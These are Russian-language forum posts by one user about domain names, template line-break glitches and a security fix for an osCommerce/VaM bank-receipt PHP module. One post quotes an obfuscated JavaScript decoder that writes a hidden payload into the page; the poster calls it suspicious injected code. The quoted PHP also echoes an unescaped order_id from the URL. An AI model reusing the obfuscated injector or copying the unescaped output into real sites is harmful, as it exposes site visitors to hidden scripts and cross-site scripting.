Real Alex

Рейтинг
88
Регистрация
29.08.2007

Созвучно с небезызвестным top4top поэтому название запоминается, но так как job4top занят то этот JobForTop имхо ценности не имеет.

P.S. Даже job4job занят :)

art11:
Ну тем более! Тогда они наварят аж 20 руб с домена ☝

Ну в итоге то они всё равно в большом убытке (никакого злорадства!).

Предыдущий эпический провал в зоне RU - ГПД и Руссобалт - был менее масштабным чем этот.

А я себе взял там один домен под сателит, как раз нужен был именно этот, модель трактора :)

KrViewer (редактор встроенный в коммандер Krusader).

Под виндой блокнот обычный :)

ginezis:
А поконкретнее можно? В коде не силен, ес чесна и все что мог взад и вперед пролазил.. (

Ну если у вас Windows, открываете все файлы шаблона в блокноте, и если в каких-то файлах вместо перевода строки отображаются квадратики, нужно стереть их и нажать на этом месте Enter.

Такое бывает когда в одном хтмл-файле есть переносы строки как в стиле юникс, так и в стиле дос (виндовс).

Проверьте чтобы во всех файлах (кусках шаблона) которые включаются в выдачу страницы, переносы строки были расставлены одинаково. Мне по крайней мере это помогло, тоже подобные левые отступы были как раз в вордпрессе.

mc_vet:
извините но у меня все нормально! Что за защита?

Это:

<script language="JavaScript">function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,38,12,5,41,17,22,52,11,61,0,0,0,0,0,0,21,13,27,0,36,45,2,3,37,46,54,39,35,34,20,7,1,30,18,55,31,51,16,33,15,14,32,0,0,0,0,49,0,47,59,6,53,10,43,50,48,28,24,26,40,25,58,57,29,8,44,9,56,62,23,4,42,60,19);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("mkE_vUid5vjgwarhVzrhCLoWazy7wBa_vUid5TjW6TE_jQjU5OpdTxlMRGy_qQEgqatdVfl1FGi7nBrgPGyWB14M6Byd2vp7BF")</script>

НЕ нормально!

Понятно тогда...

Да уж, Vam исправил так исправил :) Вообще ошибка-то глупая, не проверять чей заказ.

netwind:
и никаких $_GET .
Вывод :
Хоть VaM и молодец, но настоящие параноики не должны использовать его сборки.

Это точно :)

Один такой GET я уже где-то в другом файлике от Vam'а нашёл и исправил, этот файл ещё не успел проверить, только выше упомянутый баг пофиксил.

UPD. Невнимательно посмотрел.

Относительно конкретно этого GET'а. Как тогда смотреть квитанцию из истроии заказов, если в скрипт не будет передаваться переменная id?

netwind:
А дайте ссылку на модуль ?
у меня смотрю в этом месте принципиально другой код.
Это, похоже, обкур лично VaM-а. (и не первый).

Вот полностью код kvitan.php:


<?php
/*
$Id: kvitan.php,v 1.6 2003/06/20 00:37:30 hpdl Exp $

osCommerce, Open Source E-Commerce Solutions
http://www.oscommerce.com

Copyright (c) 2003 osCommerce

Released under the GNU General Public License
*/

require('includes/application_top.php');

// UPD ADD (SECURITY FIX 1)
if (!tep_session_is_registered('customer_id')) {
$navigation->set_snapshot();
tep_redirect(tep_href_link(FILENAME_LOGIN, '', 'SSL'));
}
// END OF UPD (SECURITY FIX 1)

// UPD ADD (SECURITY FIX 2)
$customer_number_query = tep_db_query("select customers_id from " . TABLE_ORDERS . " where orders_id = '". tep_db_input(tep_db_prepare_input($_GET['order_id'])) . "'");
$customer_number = tep_db_fetch_array($customer_number_query);
if ($customer_number['customers_id'] != $customer_id) {
tep_redirect(tep_href_link(FILENAME_ACCOUNT_HISTORY, '', 'SSL'));
}
// END OF UPD ADD (SECURITY FIX 2)


require(DIR_WS_LANGUAGES . $language . '/modules/payment/rusbank.php');

require(DIR_WS_CLASSES . 'order.php');
$order = new order($_GET['order_id']);

/*error_log("Квитанция заказ ".$order);
error_log("Квитанция корзина ".$cart->count_contents());
error_log("Квитанция заказ всего " .$order->info['total']);
error_log("Квитанция заказ доставка страна " . $order->delivery['country']);
error_log("Квитанция заказ доставка name " . $order->delivery['name']);
error_log("Квитанция заказ доставка street_address " . $order->delivery['street_address']);
error_log("Квитанция заказ доставка city " . $order->delivery['city']);
error_log("Квитанция заказ доставка postcode " . $order->delivery['postcode']);
error_log("Квитанция заказ покупатель name " . $order->customer['customers_name']);
error_log("Квитанция заказ покупатель city " . $order->customer['city']);
error_log("Это cart ---------------------", 0);
while ( list( $key, $val ) = each($cart) ) {
error_log("$key => $val", 0);
}
error_log("Это order delivery ---------------------", 0);
while ( list( $key, $val ) = each($order->delivery) ) {
error_log("$key => $val", 0);
}
error_log("Это shipping ---------------------", 0);
while ( list( $key, $val ) = each($shipping) ) {
error_log("$key => $val", 0);
}
error_log("Это order_total ---------------------", 0);
while ( list( $key, $val ) = each($order_total)) {
error_log("$key => $val", 0);
}*/
$FIO = $order->delivery['name'];
$Adress = $FIO . "<BR>" . $order->delivery['postcode'] . ", " . $order->delivery['state'] . ", " . $order->delivery['city'] . ", " . $order->delivery['street_address'];
$total = $order->info['total'];
//$total = number_format( $order->info['total'] * $currencies->get_value('RUR'), $currencies->get_decimal_places('RUR')) . " руб.";
//error_log("Это FIO ". $FIO, 0);
$date = date("d-m-Y");
//error_log("Это дата ". $date, 0);

//'Название банка', 'MODULE_PAYMENT_RUS_BANK_1'
//'Расчетный счет', 'MODULE_PAYMENT_RUS_BANK_2'
//'БИК', 'MODULE_PAYMENT_RUS_BANK_3'
//'Кор./счет', 'MODULE_PAYMENT_RUS_BANK_4'
//'ИНН', 'MODULE_PAYMENT_RUS_BANK_5'
//'Получатель', 'MODULE_PAYMENT_RUS_BANK_6'
//'КПП', 'MODULE_PAYMENT_RUS_BANK_7'

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML dir=ltr lang=ru><HEAD><TITLE>Квитанция на оплату услуг для <?php echo $FIO ?></TITLE>
<META content="text/html; charset=windows-1251" http-equiv=Content-Type>
<META content="MSHTML 5.00.3700.6699" name=GENERATOR></HEAD>
<BODY>
<CENTER>
<TABLE border=1 cellPadding=3 cellSpacing=0 width=600>
<TBODY>
<TR>
<TD align=right height=255 vAlign=top width=240><BR><BR><FONT size=2>
<P>Извещение</P></FONT><FONT
size=1><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
<P>Кассир</P><BR></FONT></FONT></TD>
<TD align=right height=255 vAlign=center width=100>
<TABLE border=1 cellPadding=3 cellSpacing=0 width=360><FONT size=-1>
<P align=center><?php echo MODULE_PAYMENT_RUS_BANK_1 . "<br>ИНН " . MODULE_PAYMENT_RUS_BANK_5 . ", " . MODULE_PAYMENT_RUS_BANK_6 ?>
<BR><P></P></FONT><FONT size=1>получатель платежа</FONT>
<TBODY>
<TR>
<TD align=middle colSpan=4 height=10 vAlign=center><FONT size=2>
<P>Расчетный счет №: <?php echo MODULE_PAYMENT_RUS_BANK_2 ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;БИК:
<?php echo MODULE_PAYMENT_RUS_BANK_3 ?></P></FONT></TD></TR>
<TR>
<TD align=center colSpan=4 height=10 vAlign=middle><FONT size=2>
<P>Кор. сч.: <?php echo MODULE_PAYMENT_RUS_BANK_4 . " &nbsp;&nbsp;&nbsp;&nbsp;КПП " . MODULE_PAYMENT_RUS_BANK_7 ?></P></FONT></TD></TR>
<TR>
<TD colSpan=4><FONT size=2>
<CENTER>&nbsp; <?php echo $Adress ?> <BR></CENTER></FONT></TD></TR>
<TR>
<TD align=middle colSpan=2><FONT size=2>Вид платежа</FONT></TD>
<TD align=middle><FONT size=2>Дата</FONT></TD>
<TD align=middle><FONT size=2>Сумма</FONT></TD></TR>
<TR>
<TD align=middle colSpan=2><FONT size=1><?php echo MODULE_PAYMENT_RUS_BANK_8 . MODULE_PAYMENT_RUS_BANK_ORDER_NUMBER . $_GET['order_id']; ?></FONT></TD>
<TD align=middle><FONT size=2><?php echo $date ?></FONT><BR></TD>
<TD align=middle><FONT size=2><?php echo $total ?></FONT></TD></TR>
<TR>
<TD align=left colSpan=2 rowSpan=2><FONT
size=2>Плательщик:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT></TD>
<TD align=middle><FONT size=1>Пеня:</FONT></TD>
<TD align=middle>---<BR></TD></TR>
<TR align=middle>
<TD><FONT size=2>Всего:</FONT></TD>
<TD><FONT size=2><?php echo $total ?></FONT><BR></TD></TR></P></TABLE></TD></TR>
<TR>
<TD align=right height=255 vAlign=top width=240><FONT size=2><BR><BR>
<P>Квитанция</P><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><FONT size=1>
<P>Кассир</P><BR></FONT></FONT></TD>
<TD align=right height=255 vAlign=center width=100>
<TABLE border=1 cellPadding=3 cellSpacing=0 width=360><FONT size=-1>
<P align=center><?php echo MODULE_PAYMENT_RUS_BANK_1 . "<br>ИНН " . MODULE_PAYMENT_RUS_BANK_5 . ", " . MODULE_PAYMENT_RUS_BANK_6 ?>
<P></P></FONT><FONT size=1>получатель платежа</FONT>
<TBODY>
<TR>
<TD align=middle colSpan=4 height=10 vAlign=center><FONT size=2>
<P>Расчетный счет №: <?php echo MODULE_PAYMENT_RUS_BANK_2 ?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;БИК:
<?php echo MODULE_PAYMENT_RUS_BANK_3 ?></P></FONT></TD></TR>
<TR>
<TD align=center colSpan=4 height=10 vAlign=middle><FONT size=2>
<P>Кор. сч.: <?php echo MODULE_PAYMENT_RUS_BANK_4 . " &nbsp;&nbsp;&nbsp;&nbsp;КПП " . MODULE_PAYMENT_RUS_BANK_7 ?></P></FONT></TD></TR>
<TR>
<TD colSpan=4><FONT size=2>
<CENTER>&nbsp; <?php echo $Adress ?><BR></CENTER></FONT></TD></TR>
<TR>
<TD align=middle colSpan=2><FONT size=2>Вид платежа</FONT></TD>
<TD align=middle><FONT size=2>Дата</FONT></TD>
<TD align=middle><FONT size=2>Сумма</FONT></TD></TR>
<TR>
<TD align=middle colSpan=2><FONT size=1><?php echo MODULE_PAYMENT_RUS_BANK_8 . MODULE_PAYMENT_RUS_BANK_ORDER_NUMBER . $_GET['order_id']; ?></FONT></TD>
<TD align=middle><FONT size=2><?php echo $date ?></FONT><BR></TD>
<TD align=middle><FONT size=2> <?php echo $total ?></FONT></TD></TR>
<TR>
<TD align=left colSpan=2 rowSpan=2><FONT
size=2>Плательщик:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT></TD>
<TD align=middle><FONT size=1>Пеня:</FONT></TD>
<TD align=middle>---<BR></TD></TR>
<TR align=middle>
<TD><FONT size=2>Всего:</FONT></TD>
<TD><FONT size=2><?php echo $total ?></FONT><BR></TD></TR></P></TABLE></TD></TR></TBODY></TABLE></CENTER></BODY></HTML>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>

Сам модуль нигде не мог найти, на oscommerce.ru раздел "Файлы" давно не работает, в итоге пришлось качать с торрента несколько версий "vam" и выдёргивать нужные модули квитанции и счёта оттуда.

Последняя версия vam которая у меня есть это 1.184 от 26 февраля 2008 года, там есть код который обозначен в комментарии как "SECURITY FIX 1" но нет кода с комментарием "SECURITY FIX 2". В версии vam 1.181 нет ни того ни другого исправления.

Всего: 399